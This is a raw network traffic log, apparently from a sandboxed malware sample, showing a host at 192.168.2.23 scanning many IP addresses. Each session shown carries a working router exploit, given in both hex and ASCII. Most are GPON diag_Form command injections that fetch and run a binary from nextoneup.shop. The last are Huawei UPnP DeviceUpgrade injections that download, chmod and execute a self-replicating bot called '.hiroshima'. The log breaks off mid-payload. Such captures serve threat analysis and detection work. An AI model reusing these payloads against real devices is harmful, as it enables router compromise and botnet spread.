Session ID	Source IP	Source Port	Destination IP	Destination Port
1159	192.168.2.23	58096	79.35.109.87	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339335918 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1160	192.168.2.23	38760	79.239.200.165	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339375019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1161	192.168.2.23	44836	118.147.163.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339402914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1162	192.168.2.23	37894	79.255.91.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339451075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1163	192.168.2.23	53478	123.210.250.171	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339497089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1164	192.168.2.23	37596	79.157.81.126	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339529037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1165	192.168.2.23	43120	118.204.110.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339576960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1166	192.168.2.23	42824	2.107.158.253	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339622021 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1167	192.168.2.23	41568	117.43.188.234	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339639902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1168	192.168.2.23	35260	94.172.140.66	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339679956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1169	192.168.2.23	41364	5.226.14.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339716911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1170	192.168.2.23	41294	5.68.19.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339776993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1171	192.168.2.23	34428	210.20.98.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339806080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1172	192.168.2.23	38832	117.194.20.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339828014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1173	192.168.2.23	48730	94.150.128.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339849949 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1174	192.168.2.23	43996	37.20.68.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339886904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1175	192.168.2.23	60298	210.109.150.133	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339939117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1176	192.168.2.23	38636	178.81.159.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.339968920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1177	192.168.2.23	53272	123.49.124.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.340010881 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1178	192.168.2.23	39024	79.37.106.18	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.340059042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1179	192.168.2.23	34402	109.218.88.178	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.340095043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1180	192.168.2.23	39306	156.235.99.60	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.386940956 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:25.352329969 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 